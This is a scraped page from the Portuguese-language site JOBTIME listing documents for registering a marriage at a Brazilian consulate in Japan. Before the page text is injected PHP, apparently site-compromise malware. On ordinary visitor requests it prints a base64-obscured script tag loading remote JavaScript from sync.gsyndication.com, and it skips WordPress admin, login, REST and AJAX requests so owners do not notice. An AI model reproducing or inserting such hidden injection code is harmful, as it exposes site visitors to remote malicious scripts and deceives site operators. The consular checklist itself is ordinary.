//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> Casamento: ítens necessários - JOBTIME

Casamento: ítens necessários

Veja abaixo a lista de documentos necessários para registrar seu casamento no Consulado brasileiros

I) Registro de Casamento entre cônjuges brasileiros

Documentos a apresentar:

1) Formulário de Registro de Casamento;

2) Documentos emitidos pela prefeitura japonesa:

     a) Kon in Juri Shoumeisho (婚姻受理証明書);

     b) Kon in Todoke de Kisai Jiko Shomeisho com o Tempu Shorui no Utsushi Tsuki (婚姻届出記載事項証明書添付書類の写し付き); 

3) Original e cópia do documento brasileiro de identificação (passaporte, ou RG, ou carteira de habilitação brasileira); 

4) Original e cópia de:

Se solteiro(a)

2ª via da Certidão de Nascimento, com menos de seis (6) meses de expedição da data do casamento na prefeitura;

Se divorciado(a)

2ª via da Certidão de Casamento com averbação de divórcio com menos de seis (6) meses de expedição da data do casamento na prefeitura;

Se viúvo(a)

2ª via da Certidão de Casamento com menos de 6 meses de expedição da data do casamento na prefeitura e Certidão de Óbito do cônjuge falecido;

Obs: desnecessário apresentar os documentos acima se já constarem no Kon in Todoke De Kisai Jiko Shomeisho (documentos entregues à prefeitura japonesa e que fazem parte da documentação de casamento)

5) Prova de Estado Civil – Declaração de Estado Civil com duas testemunhas (desnecessário se constar no Kon in Todokede Kisai Jiko Shoumeisho);

6) Pagamento da taxa consular de ¥2.600. O pagamento é feito diretamente nas máquinas automatizadas (kenbaiki – 券売機), no salão de atendimento do Consulado.

  • Share this post